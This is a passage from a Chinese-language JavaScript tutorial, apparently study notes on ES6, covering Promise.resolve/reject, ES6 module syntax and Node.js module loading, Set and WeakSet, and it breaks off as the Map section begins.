let p1 = Promise.resolve(thenable);
p1.then(function (value) {
  console.log(value);  // 42
});
```

上面代码中，`thenable`对象的`then()`方法执行后，对象`p1`的状态就变为`resolved`，从而立即执行最后那个`then()`方法指定的回调函数，输出42。

**（3）参数不是具有`then()`方法的对象，或根本就不是对象**

如果参数是一个原始值，或者是一个不具有`then()`方法的对象，则`Promise.resolve()`方法返回一个新的 Promise 对象，状态为`resolved`。

```js
const p = Promise.resolve('Hello');

p.then(function (s) {
  console.log(s)
});
// Hello
```

上面代码生成一个新的 Promise 对象的实例`p`。由于字符串`Hello`不属于异步操作（判断方法是字符串对象不具有 then 方法），返回 Promise 实例的状态从一生成就是`resolved`，所以回调函数会立即执行。`Promise.resolve()`方法的参数，会同时传给回调函数。

**（4）不带有任何参数**

`Promise.resolve()`方法允许调用时不带参数，直接返回一个`resolved`状态的 Promise 对象。

**需要注意的是，立即`resolve()`的 Promise 对象，是在本轮“事件循环”（event loop）的结束时执行，而不是在下一轮“事件循环”的开始时。**

```js
setTimeout(function () {
  console.log('three');
}, 0);

Promise.resolve().then(function () {
  console.log('two');
});

console.log('one');

// one
// two
// three
```

上面代码中，`setTimeout(fn, 0)`在下一轮“事件循环”开始时执行，`Promise.resolve()`在本轮“事件循环”结束时执行，`console.log('one')`则是立即执行，因此最先输出。

### reject()

`Promise.reject(reason)`方法也会返回一个新的 Promise 实例，该实例的状态为`rejected`。

`Promise.reject()`方法的参数，会原封不动地作为`reject`的理由，变成后续方法的参数。

---

---
url: /js/512p5cp5/index.md
---
# 模块化
## 概述

ES6 模块的设计思想是尽量的静态化，使得编译时就能确定模块的依赖关系，以及输入输出的变量。

CommonJS 和 AMD 模块，都只能在运行时确定这些东西。比如，CommonJS 模块就是对象，输入时必须查找对象属性。

```js
// CommonJS模块
let { stat, exists, readfile } = require('fs');

// 等同于
let _fs = require('fs');
let stat = _fs.stat;
let exists = _fs.exists;
let readfile = _fs.readfile;
```

上面代码的实质是整体加载`fs`模块，即加载`fs`的所有方法，生成一个对象`_fs`，然后再从这个对象上面读取方法。

这种加载称为“运行时加载”，因为只有运行时才能得到这个对象，导致完全没办法在编译时做“静态优化”。

ES6 模块不是对象，而是通过`export`命令**显式**指定输出的代码，再通过`import`命令输入。

```js
// ES6模块
import { stat, exists, readFile } from 'fs';
```

上面代码的实质是从`fs`模块加载 3 个方法，其他方法不加载。这种加载称为“编译时加载”或者静态加载，即 ES6 可以在编译时就完成模块加载，效率要比 CommonJS 模块的加载方式高。

## 严格模式

ES6 的模块自动采用严格模式，不管你有没有在模块头部加上`"use strict";`。

::: details 严格模式主要有以下限制：

* 变量必须声明后再使用
* 函数的参数不能有同名属性，否则报错
* 不能使用`with`语句
* 不能对只读属性赋值，否则报错
* 不能使用前缀 0 表示八进制数，否则报错
* 不能删除不可删除的属性，否则报错
* 不能删除变量`delete prop`，会报错，只能删除属性`delete global[prop]`
* `eval`不会在它的外层作用域引入变量
* `eval`和`arguments`不能被重新赋值
* `arguments`不会自动反映函数参数的变化
* 不能使用`arguments.callee`
* 不能使用`arguments.caller`
* 禁止`this`指向全局对象
* 不能使用`fn.caller`和`fn.arguments`获取函数调用的堆栈
* 增加了保留字（比如`protected`、`static`和`interface`）

:::

其中，尤其需要注意`this`的限制。ES6 模块之中，顶层的`this`指向`undefined`，即不应该在顶层代码使用`this`。

## export 命令

模块功能主要由两个命令构成：`export`和`import`。`export`命令用于规定模块的对外接口，`import`命令用于输入其他模块提供的功能。

一个模块就是一个独立的文件。该文件内部的所有变量，外部无法获取。如果你希望外部能够读取模块内部的某个变量，就必须使用`export`关键字输出该变量。下面是一个 JS 文件，里面使用`export`命令输出变量。

```javascript
// profile.js
export var firstName = 'Michael';
export var lastName = 'Jackson';
export var year = 1958;
```

上面代码是`profile.js`文件，保存了用户信息。ES6 将其视为一个模块，里面用`export`命令对外部输出了三个变量。

`export`的写法，除了像上面这样，还有另外一种。

```javascript
// profile.js
var firstName = 'Michael';
var lastName = 'Jackson';
var year = 1958;

export { firstName, lastName, year };
```

上面代码在`export`命令后面，使用大括号指定所要输出的一组变量。它与前一种写法（直接放置在`var`语句前）是等价的，**但是应该优先考虑使用这种写法。因为这样就可以在脚本尾部，一眼看清楚输出了哪些变量。**

`export`命令除了输出变量，还可以输出函数或类（class）。

```javascript
export function multiply(x, y) {
  return x * y;
};
```

通常情况下，`export`输出的变量就是本来的名字，但是可以使用`as`关键字重命名。

```javascript
function v1() { ... }
function v2() { ... }

export {
  v1 as streamV1,
  v2 as streamV2,
  v2 as streamLatestVersion
};
```

`export`命令规定的是对外的接口，必须与模块内部的变量建立一一对应关系。

```javascript
// 报错
export 1;

// 报错
var m = 1;
export m;
```

上面两种写法都会报错，因为没有提供对外的接口。第一种写法直接输出 1，第二种写法通过变量`m`，还是直接输出 1。`1`只是一个值，不是接口。正确的写法是下面这样。

```javascript
// 写法一
export var m = 1;

// 写法二
var m = 1;
export {m};

// 写法三
var n = 1;
export {n as m};
```

`function`和`class`的输出，也必须遵守这样的写法。

```javascript
// 报错
function f() {}
export f;

// 正确
export function f() {};

// 正确
function f() {}
export {f};
```

目前，export 命令能够对外输出的就是三种接口：函数（Functions）， 类（Classes），var、let、const 声明的变量（Variables）。

另外，`export`语句输出的接口，**与其对应的值是动态绑定关系**，即通过该接口，可以取到模块内部**实时的值**。

```javascript
export var foo = 'bar';
setTimeout(() => foo = 'baz', 500);
```

上面代码输出变量`foo`，值为`bar`，500 毫秒之后变成`baz`。

这一点与 CommonJS 规范完全不同。CommonJS 模块输出的是值的缓存，不存在动态更新。

最后，`export`命令可以出现在模块的任何位置，只要处于模块顶层就可以。如果处于块级作用域内，就会报错。

## import 命令

使用`export`命令定义了模块的对外接口以后，其他 JS 文件就可以通过`import`命令加载这个模块。

```javascript
// main.js
import { firstName, lastName, year } from './profile.js';

function setName(element) {
  element.textContent = firstName + ' ' + lastName;
}
```

上面代码的`import`命令，用于加载`profile.js`文件，并从中输入变量。`import`命令接受一对大括号，里面指定要从其他模块导入的变量名。大括号里面的变量名，必须与被导入模块（`profile.js`）对外接口的名称相同。

如果想为输入的变量重新取一个名字，`import`命令要使用`as`关键字，将输入的变量重命名。

```javascript
import { lastName as surname } from './profile.js';
```

`import`命令输入的变量都是只读的，因为它的本质是输入接口。也就是说，不允许在加载模块的脚本里面，改写接口。

```javascript
import {a} from './xxx.js'

a = {}; // Syntax Error : 'a' is read-only;
```

上面代码中，脚本加载了变量`a`，对其重新赋值就会报错，因为`a`是一个只读的接口。但是，如果`a`是一个对象，改写`a`的属性是允许的。

```javascript
import {a} from './xxx.js'

a.foo = 'hello'; // 合法操作
```

上面代码中，`a`的属性可以成功改写，并且其他模块也可以读到改写后的值。不过，这种写法很难查错，**建议凡是输入的变量，都当作完全只读，不要轻易改变它的属性。**

`import`后面的`from`指定模块文件的位置，可以是相对路径，也可以是绝对路径。如果不带有路径，只是一个模块名，那么必须有配置文件，告诉 JavaScript 引擎该模块的位置。

```javascript
import { myMethod } from 'util';
```

注意，`import`命令具有提升效果，**会提升到整个模块的头部，首先执行**。

```javascript
foo();

import { foo } from 'my_module';
```

上面的代码不会报错，因为`import`的执行早于`foo`的调用。这种行为的本质是，`import`命令是编译阶段执行的，在代码运行之前。

由于`import`是静态执行，所以不能使用表达式和变量，这些只有在运行时才能得到结果的语法结构。

`import`语句会执行所加载的模块，因此可以有下面的写法。

```js
import 'lodash';
```

上面代码仅仅执行`lodash`模块，但是不输入任何值。

## 模块的整体加载

除了指定加载某个输出值，还可以使用整体加载，即用星号（`*`）指定一个对象，所有输出值都加载在这个对象上面。

```js
// circle.js

export function area(radius) {
  return Math.PI * radius * radius;
}

export function circumference(radius) {
  return 2 * Math.PI * radius;
}
```

加载这个模块。

```js
// main.js

import { area, circumference } from './circle';

console.log('圆面积：' + area(4));
console.log('圆周长：' + circumference(14));
```

上面写法是逐一指定要加载的方法，整体加载的写法如下。

```js
import * as circle from './circle';

console.log('圆面积：' + circle.area(4));
console.log('圆周长：' + circle.circumference(14));
```

注意，模块整体加载所在的那个对象（上例是`circle`），应该是可以静态分析的，所以不允许运行时改变。下面的写法都是不允许的。

```js
import * as circle from './circle';

// 下面两行都是不允许的
circle.foo = 'hello';
circle.area = function () {};
```

## export default 命令

从前面的例子可以看出，使用`import`命令的时候，用户需要知道所要加载的变量名或函数名，否则无法加载。

但是，用户肯定希望快速上手，未必愿意阅读文档，去了解模块有哪些属性和方法。

为了给用户提供方便，让他们不用阅读文档就能加载模块，就要用到`export default`命令，为模块指定默认输出。

```js
// export-default.js
export default function () {
  console.log('foo');
}
```

上面代码是一个模块文件`export-default.js`，它的默认输出是一个函数。

其他模块加载该模块时，`import`**命令可以为该匿名函数指定任意名字。**

```js
// import-default.js
import customName from './export-default';
customName(); // 'foo'
```

上面代码的`import`命令，可以用任意名称指向`export-default.js`输出的方法，这时就不需要知道原模块输出的函数名。需要注意的是，这时`import`命令后面，**不使用大括号。**

`export default`命令用在非匿名函数前，也是可以的。

```js
// export-default.js
export default function foo() {
  console.log('foo');
}

// 或者写成

function foo() {
  console.log('foo');
}

export default foo;
```

上面代码中，`foo`函数的函数名`foo`，在模块外部是无效的。**加载的时候，视同匿名函数加载。**

**默认输出和正常输出比较：**

```js
// 第一组
export default function crc32() { // 输出
  // ...
}

import crc32 from 'crc32'; // 输入

// 第二组
export function crc32() { // 输出
  // ...
};

import {crc32} from 'crc32'; // 输入
```

`export default`命令用于指定模块的默认输出。显然，**一个模块只能有一个默认输出**，因此`export default`命令只能使用一次。

所以，import命令后面才不用加大括号，因为只可能唯一对应`export default`命令。

本质上，`export default`就是输出一个叫做`default`的变量或方法，然后系统允许你为它取任意名字。所以，下面的写法是有效的。

```js
// modules.js
function add(x, y) {
  return x * y;
}
export {add as default};
// 等同于
// export default add;

// app.js
import { default as foo } from 'modules';
// 等同于
// import foo from 'modules';
```

正是因为`export default`命令其实只是输出一个叫做`default`的变量，所以它后面不能跟变量声明语句。

```js
// 正确
export var a = 1;

// 正确
var a = 1;
export default a;

// 错误
export default var a = 1;
```

上面代码中，`export default a`的含义是将变量`a`的值赋给变量`default`。所以，最后一种写法会报错。

同样地，因为`export default`命令的本质是将后面的值，赋给`default`变量，所以可以直接将一个值写在`export default`之后。

```js
// 正确
export default 42;

// 报错
export 42;
```

如果想在一条`import`语句中，同时输入默认方法和其他接口，可以写成下面这样。

```js
import _, { each, forEach } from 'lodash';
```

```js
export default function (obj) {
  // ···
}

export function each(obj, iterator, context) {
  // ···
}

export { each as forEach };
```

`export default`也可以用来输出类。

## export 与 import 的复合写法

如果在一个模块之中，**先输入后输出同一个模块**，`import`语句可以与`export`语句写在一起。

```js
export { foo, bar } from 'my_module';

// 可以简单理解为
import { foo, bar } from 'my_module';
export { foo, bar };
```

上面代码中，`export`和`import`语句可以结合在一起，写成一行。

但需要注意的是，写成一行以后，`foo`和`bar`实际上并没有被导入当前模块，只是相当于对外转发了这两个接口，**导致当前模块不能直接使用**`foo`和`bar`。

模块的接口改名和整体输出，也可以采用这种写法。

```js
// 接口改名
export { foo as myFoo } from 'my_module';

// 整体输出
export * from 'my_module';
```

默认接口的写法

```js
export { default } from 'foo';
```

具名接口改为默认接口的写法

```js
export { es6 as default } from './someModule';

// 等同于
import { es6 } from './someModule';
export default es6;
```

同样地，默认接口也可以改名为具名接口。

```js
export { default as es6 } from './someModule';
```

## 模块的继承

模块之间也可以继承。

假设有一个`circleplus`模块，继承了`circle`模块。

```js
// circleplus.js

export * from 'circle';
export var e = 2.71828182846;
export default function(x) {
  return Math.exp(x);
}
```

上面代码中的`export *`，表示再输出`circle`模块的所有属性和方法。**注意**，`export *`命令会忽略`circle`模块的`default`方法。然后，上面代码又输出了自定义的`e`变量和默认方法。

```js
export { area as circleArea } from 'circle';
```

上面代码表示，只输出`circle`模块的`area`方法，且将其改名为`circleArea`。

加载上面模块的写法如下。

```js
// main.js

import * as math from 'circleplus';
import exp from 'circleplus';
console.log(exp(math.e));
```

上面代码中的`import exp`表示，将`circleplus`模块的默认方法加载为`exp`方法。

## 跨模块常量

`const`声明的常量只在当前代码块有效。如果想设置跨模块的常量（即跨多个文件），或者说一个值要被多个模块共享，可以采用下面的写法。

```js
// constants.js 模块
export const A = 1;
export const B = 3;
export const C = 4;

// test1.js 模块
import * as constants from './constants';
console.log(constants.A); // 1
console.log(constants.B); // 3

// test2.js 模块
import {A, B} from './constants';
console.log(A); // 1
console.log(B); // 3
```

## import()

`import`命令会被 JavaScript 引擎静态分析，先于模块内的其他语句执行。所以，下面的代码会报错。

```js
// 报错
if (x === 2) {
  import MyModual from './myModual';
}
```

上面代码中，引擎处理`import`语句是在编译时，这时不会去分析或执行`if`语句，所以`import`语句放在`if`代码块之中毫无意义，因此会报句法错误，而不是执行时错误。

也就是说，`import`和`export`命令只能在模块的顶层，不能在代码块之中（比如，在`if`代码块之中，或在函数之中）。

这样的设计，固然有利于编译器提高效率，**但也导致无法在运行时加载模块**。

在语法上，条件加载就不可能实现。如果`import`命令要取代 Node 的`require`方法，这就形成了一个障碍。因为`require`是运行时加载模块，`import`命令无法取代`require`的**动态加载**功能。

```js
const path = './' + fileName;
const myModual = require(path);
```

上面的语句就是动态加载，`require`到底加载哪一个模块，只有运行时才知道。`import`命令做不到这一点。

[ES2020提案](https://github.com/tc39/proposal-dynamic-import) 引入`import()`函数，支持动态加载模块。

```js
import(specifier)
```

上面代码中，`import`函数的参数`specifier`，指定所要加载的模块的位置。`import`命令能够接受什么参数，`import()`函数就能接受什么参数，两者区别主要是后者为动态加载。

`import()`返回一个 Promise 对象

```js
const main = document.querySelector('main');

import(`./section-modules/${someVariable}.js`)
  .then(module => {
    module.loadPageInto(main);
  })
  .catch(err => {
    main.textContent = err.message;
  });
```

`import()`函数可以用在任何地方，不仅仅是模块，非模块的脚本也可以使用。

它是运行时执行，也就是说，什么时候运行到这一句，就会加载指定的模块。另外，`import()`函数与所加载的模块没有静态连接关系，这点也是与`import`语句不相同。

`import()`类似于 Node.js 的`require()`方法，区别主要是前者是异步加载，后者是同步加载。

由于`import()`返回 Promise
对象，所以需要使用`then()`方法指定处理函数。考虑到代码的清晰，更推荐使用`await`命令。

```js
async function renderWidget() {
  const container = document.getElementById('widget');
  if (container !== null) {
    // 等同于
    // import("./widget").then(widget => {
    //   widget.render(container);
    // });
    const widget = await import('./widget.js');
    widget.render(container);
  }
}

renderWidget();
```

## 适用场合

下面是`import()`的一些适用场合。

（1）按需加载。

`import()`可以在需要的时候，再加载某个模块。

```js
button.addEventListener('click', event => {
  import('./dialogBox.js')
  .then(dialogBox => {
    dialogBox.open();
  })
  .catch(error => {
    /* Error handling */
  })
});
```

上面代码中，`import()`方法放在`click`事件的监听函数之中，只有用户点击了按钮，才会加载这个模块。

（2）条件加载

`import()`可以放在`if`代码块，根据不同的情况，加载不同的模块。

```js
if (condition) {
  import('moduleA').then(...);
} else {
  import('moduleB').then(...);
}
```

（3）动态的模块路径

`import()`允许模块路径动态生成。

```js
import(f())
.then(...);
```

## 注意点

`import()`加载模块成功以后，这个模块会作为一个对象，当作`then`方法的参数。因此，可以使用对象解构赋值的语法，获取输出接口。

```js
import('./myModule.js')
.then(({export1, export2}) => {
  // ...·
});
```

上面代码中，`export1`和`export2`都是`myModule.js`的输出接口，可以解构获得。

如果模块有`default`输出接口，可以用参数直接获得。

```js
import('./myModule.js')
.then(myModule => {
  console.log(myModule.default);
});
```

如果想同时加载多个模块，可以采用下面的写法。

```js
Promise.all([
  import('./module1.js'),
  import('./module2.js'),
  import('./module3.js'),
])
.then(([module1, module2, module3]) => {
   ···
});
```

## import.met

开发者使用一个模块时，有时需要知道模板本身的一些信息（比如模块的路径）。[ES2020](https://github.com/tc39/proposal-import-meta) 为 import 命令添加了一个元属性`import.meta`，返回当前模块的元信息。

`import.meta`只能在模块内部使用，如果在模块外部使用会报错。

这个属性返回一个对象，该对象的各种属性就是当前运行的脚本的元信息。具体包含哪些属性，标准没有规定，由各个运行环境自行决定。一般来说，`import.meta`至少会有下面两个属性。

**（1）import.meta.url**

`import.meta.url`返回当前模块的 URL 路径。举例来说，当前模块主文件的路径是`https://foo.com/main.js`，`import.meta.url`就返回这个路径。如果模块里面还有一个数据文件`data.txt`，那么就可以用下面的代码，获取这个数据文件的路径。

```js
new URL('data.txt', import.meta.url)
```

注意，Node.js 环境中，`import.meta.url`返回的总是本地路径，即`file:URL`协议的字符串，比如`file:///home/user/foo.js`。

**（2）import.meta.scriptElement**

`import.meta.scriptElement`是浏览器特有的元属性，返回加载模块的那个`<script>`元素，相当于`document.currentScript`属性。

```js
// HTML 代码为
// <script type="module" src="my-module.js" data-foo="abc"></script>

// my-module.js 内部执行下面的代码
import.meta.scriptElement.dataset.foo
// "abc"
```

**（3）其他**

Deno 现在还支持`import.meta.filename`和`import.meta.dirname`属性，对应 CommonJS 模块系统的`__filename`和`__dirname`属性。

* `import.meta.filename`：当前模块文件的绝对路径。
* `import.meta.dirname`：当前模块文件的目录的绝对路径。

这两个属性都提供当前平台的正确的路径分隔符，比如 Linux 系统返回`/dev/my_module.ts`，Windows 系统返回`C:\dev\my_module.ts`。

本地模块可以使用这两个属性，远程模块也可以使用。

## 浏览器加载

传统方法是通过`<script>`标签加载 JavaScript 脚本，浏览器也支持加载ES6模块，但是要在`<script>`中加入`type="module"`属性

```html
<script type="module" src="./foo.js"></script>
```

浏览器对于带有`type="module"`的`<script>`，都是异步加载，不会造成堵塞浏览器，即等到整个页面渲染完，再执行模块脚本，等同于打开了`<script>`标签的`defer`属性。

ES6 模块也允许内嵌在网页中，语法行为与加载外部脚本完全一致。

```html
<script type="module">
  import utils from "./utils.js";

  // other code
</script>
```

对于外部的模块脚本，有几点需要注意：

* 代码是在**模块作用域之中运行**，而不是在全局作用域运行。模块内部的顶层变量，外部不可见。
* 模块脚本自动采用严格模式，不管有没有声明`use strict`。
* 模块之中，可以使用`import`命令加载其他模块（`.js`后缀不可省略，需要提供绝对 URL 或相对 URL），也可以使用`export`命令输出对外接口。
* 模块之中，顶层的`this`关键字返回`undefined`，而不是指向`window`。也就是说，在模块顶层使用`this`关键字，是无意义的。
* 同一个模块如果加载多次，将只执行一次。

利用顶层的`this`等于`undefined`这个语法点，可以侦测当前代码是否在 ES6 模块之中。

```js
const isNotModuleScript = this !== undefined;
```

## ES6 模块与 CommonJS 模块的差异

ES5模块和CommonJs模块有三个重大的差异：

* CommonJs模块输出的是一个值的拷贝，ES6输出的则是值的引用。
* CommonJs是运行时加载，ES6是编译时输出接口
* CommonJS 模块的require()是同步加载模块，ES6 模块的import命令是异步加载，有一个独立的模块依赖的解析阶段。

CJS 加载的是一个对象，即`module.exports`属性，该对象只有在脚本运行完成后才会生成，而ES6不是对象，它的对外接口是一种静态定义，在代码静态解析阶段就会生成。

CJS输出的是一个拷贝的值的，即模块内部的变化不会影响这个值。

例子：

```js
// lib.js
var counter = 3;
function incCounter() {
  counter++;
}
module.exports = {
  counter: counter,
  incCounter: incCounter,
};
```

```js
// main.js
var mod = require('./lib');

console.log(mod.counter);  // 3
mod.incCounter();
console.log(mod.counter); // 3
```

上面的代码可以看出，模块内部的变化不会影响输出的值，因为`mod.counter`是一个原始类型的值，会被缓存，解决方法就是写成一个函数，才能得到内部变动后的值。

```js
// lib.js
var counter = 3;
function incCounter() {
  counter++;
}
module.exports = {
  get counter() {
    return counter
  },
  incCounter: incCounter,
};
```

在ES6模块中，引擎在对代码进行静态解析的时候，遇到模块加载命令`import`，就会生成一个只读的引用。等到真正执行的时候，再根据这个只读引用，到被加载的模块中去取值。

ES6是动态绑定的，即模块内部的变化会影响输出的值。

```js
// lib.js
export let counter = 3;
export function incCounter() {
  counter++;
}

// main.js
import { counter, incCounter } from './lib';
console.log(counter); // 3
incCounter();
console.log(counter); // 4
```

## Node.js 的模块加载方法

CommonJS 模块是 Node.js 专用的，与 ES6 模块不兼容。语法上面，两者最明显的差异是，CommonJS 模块使用`require()`和`module.exports`，ES6 模块使用`import`和`export`。

在nodejs后来的版本中，开放了ESM模块的支持，使用`import`和`export`语法。

Node.js 要求ES6模块必须采用`.mjs`后缀，也就是说，只要脚本文件中使用了`import`或`export`语句，就必须使用`.mjs`后缀，并且`node.js`中的ESM模块默认是严格模式。

有一个简单的办法就是在 package.json 中添加一个`type`字段，值为`module`，这样就可以使用`.js`后缀。

```json
{
  "type": "module"
}
```

一旦设置了以后，该项目的 JS 脚本，就被解释成 ES6 模块。

如果这时还要使用 CommonJS 模块，那么需要将 CommonJS 脚本的后缀名都改成.cjs。如果没有type字段，或者type字段为commonjs，则.js脚本会被解释成 CommonJS 模块。

总结为一句话：`.mjs`文件总是以 ES6 模块加载，`.cjs`文件总是以 CommonJS 模块加载，`.js`文件的加载取决于`package.json`里面`type`字段的设置。

注意：两种模块的加载命令不能混用，CommonJS 模块只能使用`require()`和`module.exports`，ES6 模块只能使用`import`和`export`。

## ackage.json 的 main 字段

`package.json`文件有两个字段可以指定模块的入口文件：`main`和`exports`。比较简单的模块，可以只使用`main`字段，指定模块加载的入口文件。

```js
// ./node_modules/es-module-package/package.json
{
  "type": "module",
  "main": "./src/index.js"
}
```

上面代码指定项目的入口脚本为`./src/index.js`，它的格式为 ES6 模块。如果没有`type`字段，`index.js`就会被解释为 CommonJS 模块。

然后，`import`命令就可以加载这个模块。

```js
// ./my-app.mjs

import { something } from 'es-module-package';
// 实际加载的是 ./node_modules/es-module-package/src/index.js
```

上面代码中，运行该脚本以后，Node.js 就会到`./node_modules`目录下面，寻找`es-module-package`模块，然后根据该模块`package.json`的`main`字段去执行入口文件。

## package.json 的 exports 字段

`exports`字段的优先级高于`main`字段。它有多种用法。

**（1）子目录别名**

`package.json`文件的`exports`字段可以指定脚本或子目录的别名。

```js
// ./node_modules/es-module-package/package.json
{
  "exports": {
    "./submodule": "./src/submodule.js"
  }
}
```

上面的代码指定`src/submodule.js`别名为`submodule`，然后就可以从别名加载这个文件。

```js
import submodule from 'es-module-package/submodule';
// 加载 ./node_modules/es-module-package/src/submodule.js
```

例子:

```js
// ./node_modules/es-module-package/package.json
{
  "exports": {
    "./features/": "./src/features/"
  }
}

import feature from 'es-module-package/features/x.js';
// 加载 ./node_modules/es-module-package/src/features/x.js
```

如果没有指定别名，就不能用“模块+脚本名”这种形式加载脚本。

**（2）main 的别名**

`exports`字段的别名如果是`.`，就代表模块的主入口，优先级高于`main`字段，并且可以直接简写成`exports`字段的值。

```js
{
  "exports": {
    ".": "./main.js"
  }
}

// 等同于
{
  "exports": "./main.js"
}
```

由于`exports`字段只有支持 ES6 的 Node.js 才认识，所以可以搭配`main`字段，来兼容旧版本的 Node.js。

```js
{
  "main": "./main-legacy.cjs",
  "exports": {
    ".": "./main-modern.cjs"
  }
}
```

上面代码中，老版本的 Node.js （不支持 ES6 模块）的入口文件是`main-legacy.cjs`，新版本的 Node.js 的入口文件是`main-modern.cjs`。

**（3）条件加载**

利用`.`这个别名，可以为 ES6 模块和 CommonJS 指定不同的入口。

```js
{
  "type": "module",
  "exports": {
    ".": {
      "require": "./main.cjs",
      "default": "./main.js"
    }
  }
}
```

上面代码中，别名`.`的`require`条件指定`require()`命令的入口文件（即 CommonJS 的入口），`default`条件指定其他情况的入口（即 ES6 的入口）。

上面的写法可以简写如下。

```js
{
  "exports": {
    "require": "./main.cjs",
    "default": "./main.js"
  }
}

```

注意，如果同时还有其他别名，就不能采用简写，否则会报错。

```js
{
  // 报错
  "exports": {
    "./feature": "./lib/feature.js",
    "require": "./main.cjs",
    "default": "./main.js"
  }
}
```

## CommonJS 模块加载 ES6 模块

CommonJS 的`require()`命令不能加载 ES6 模块，会报错，只能使用`import()`这个方法加载。

## ES6 模块加载 CommonJS 模块

ES6 模块的`import`命令可以加载 CommonJS 模块，但是只能整体加载，不能只加载单一的输出项。

```js
// 正确
import packageMain from 'commonjs-package';

// 报错
import { method } from 'commonjs-package';
```

这是因为 ES6 模块需要支持静态代码分析，而 CommonJS 模块的输出接口是`module.exports`，是一个对象，无法被静态分析，所以只能整体加载。

加载单一的输出项，可以写成下面这样。

```js
import packageMain from 'commonjs-package';
const { method } = packageMain;
```

还有一种变通的加载方法，就是使用 Node.js 内置的`module.createRequire()`方法。

```js
// cjs.cjs
module.exports = 'cjs';

// esm.mjs
import { createRequire } from 'module';

const require = createRequire(import.meta.url);

const cjs = require('./cjs.cjs');
cjs === 'cjs'; // true
```

上面代码中，ES6 模块通过`module.createRequire()`方法可以加载 CommonJS 模块。但是，这种写法等于将 ES6 和 CommonJS 混在一起了，所以不建议使用。

---

---
url: /js/8mdfw70d/index.md
---
# Set 和 Map
## Set

ES6 提供了新的数据结构 Set。它类似于数组，但是成员的值都是唯一的，没有重复的值。

`Set`本身是一个构造函数，用来生成 Set 数据结构。

```js
const s = new Set();

[2, 3, 5, 4, 5, 2, 2].forEach(x => s.add(x));

for (let i of s) {
  console.log(i);
}
// 2 3 5 4
```

`Set()`函数可以接受一个数组（或者具有 iterable 接口的其他数据结构）作为参数，用来初始化。

```js
const set = new Set(document.querySelectorAll('div'));
set.size // 56
```

**去除数组重复成员的方法**：

```js
// 去除数组的重复成员
[...new Set(array)]
```

**去除字符串重复成员的方法：**

```js
[...new Set('ababbc')].join('')
// "abc"
```

向 Set 加入值的时候，不会发生类型转换，所以`5`和`"5"`是两个不同的值。Set 内部判断两个值是否不同，使用的算法叫做“Same-value-zero equality”，它类似于精确相等运算符（`===`），主要的区别是向 Set 加入值时认为`NaN`等于自身，而精确相等运算符认为`NaN`不等于自身，另外，两个对象总是不相等的。

`Array.from()`方法可以将 Set 结构转为数组。

**去除数组重复成员的方法**：

```js
function dedupe(array) {
  return Array.from(new Set(array));
}

dedupe([1, 1, 2, 3]) // [1, 2, 3]
```

**实例属性&方法**

Set 结构的实例有以下属性。

* `Set.prototype.constructor`：构造函数，默认就是`Set`函数。
* `Set.prototype.size`：返回`Set`实例的成员总数。

Set 实例的方法分为两大类：操作方法（用于操作数据）和遍历方法（用于遍历成员）。下面先介绍四个操作方法。

* `Set.prototype.add(value)`：添加某个值，返回 Set 结构本身。
* `Set.prototype.delete(value)`：删除某个值，返回一个布尔值，表示删除是否成功。
* `Set.prototype.has(value)`：返回一个布尔值，表示该值是否为`Set`的成员。
* `Set.prototype.clear()`：清除所有成员，没有返回值。

Set 结构的实例有四个遍历方法，可以用于遍历成员。

* `Set.prototype.keys()`：返回键名的遍历器
* `Set.prototype.values()`：返回键值的遍历器
* `Set.prototype.entries()`：返回键值对的遍历器
* `Set.prototype.forEach()`：使用回调函数遍历每个成员

需要特别指出的是，`Set`的遍历顺序就是插入顺序。这个特性有时非常有用，比如使用 Set 保存一个回调函数列表，调用时就能保证按照添加顺序调用。

```js
for (let item of set.values()) {
  console.log(item);
}
// red
// green
// blue
```

Set 结构的实例默认可遍历，它的默认遍历器生成函数就是它的`values`方法。

```js
Set.prototype[Symbol.iterator] === Set.prototype.values
// true
```

这意味着，可以省略`values`方法，直接用`for...of`循环遍历 Set。

```js
let set = new Set(['red', 'green', 'blue']);

for (let x of set) {
  console.log(x);
}
// red
// green
// blue
```

## WeakSet

WeakSet 结构与 Set 类似，也是不重复的值的集合。但是，它与 Set 有两个区别。

首先，WeakSet 的成员只能是对象和 Symbol 值，而不能是其他类型的值。

其次，WeakSet 中的对象都是弱引用，即垃圾回收机制不考虑 WeakSet 对该对象的引用，也就是说，如果其他对象都不再引用该对象，那么垃圾回收机制会自动回收该对象所占用的内存，不考虑该对象还存在于 WeakSet 之中。

这是因为垃圾回收机制根据对象的可达性（reachability）来判断回收，如果对象还能被访问到，垃圾回收机制就不会释放这块内存。结束使用该值之后，有时会忘记取消引用，导致内存无法释放，进而可能会引发内存泄漏。

WeakSet 里面的引用，都不计入垃圾回收机制，所以就不存在这个问题。因此，WeakSet 适合临时存放一组对象，以及存放跟对象绑定的信息。只要这些对象在外部消失，它在 WeakSet 里面的引用就会自动消失。

由于上面这个特点，WeakSet 的成员是不适合引用的，因为它会随时消失。另外，由于 WeakSet 内部有多少个成员，取决于垃圾回收机制有没有运行，运行前后很可能成员个数是不一样的，而垃圾回收机制何时运行是不可预测的，因此 ES6 规定 WeakSet 不可遍历。

WeakSet 是一个构造函数，可以使用`new`命令，创建 WeakSet 数据结构。

```js
const ws = new WeakSet();
```

作为构造函数，WeakSet 可以接受一个数组或类似数组的对象作为参数。（实际上，任何具有 Iterable 接口的对象，都可以作为 WeakSet 的参数。）**该数组的所有成员，都会自动成为 WeakSet 实例对象的成员。**

WeakSet 结构有以下三个方法。

* **WeakSet.prototype.add(value)**：向 WeakSet 实例添加一个新成员，返回 WeakSet 结构本身。
* **WeakSet.prototype.delete(value)**：清除 WeakSet 实例的指定成员，清除成功返回`true`，如果在 WeakSet 中找不到该成员或该成员不是对象，返回`false`。
* **WeakSet.prototype.has(value)**：返回一个布尔值，表示某个值是否在 WeakSet 实例之中。

WeakSet 没有`size`属性，没有办法遍历它的成员。

WeakSet 不能遍历，是因为成员都是弱引用，随时可能消失，遍历机制无法保证成员的存在，很可能刚刚遍历结束，成员就取不到了。

WeakSet 的一个用处，是储存 DOM 节点，而不用担心这些节点从文档移除时，会引发内存泄漏。

```js
const foos = new WeakSet()
class Foo {
  constructor() {
    foos.add(this)
  }
  method () {
    if (!foos.has(this)) {
      throw new TypeError('Foo.prototype.method 只能在Foo的实例上调用！');
    }
  }
}
```

上面代码保证了`Foo`的实例方法，只能在`Foo`的实例上调用。这里使用 WeakSet 的好处是，`foos`对实例的引用，不会被计入内存回收机制，所以删除实例的时候，不用考虑`foos`，也不会出现内存泄漏。

## Map

JavaScript 的对象（Object），本质上是键值对的集合（Hash 结构），但是传统上只能用字符串当作键。这给它的使用带来了很大的限制。

```js
const data = {};
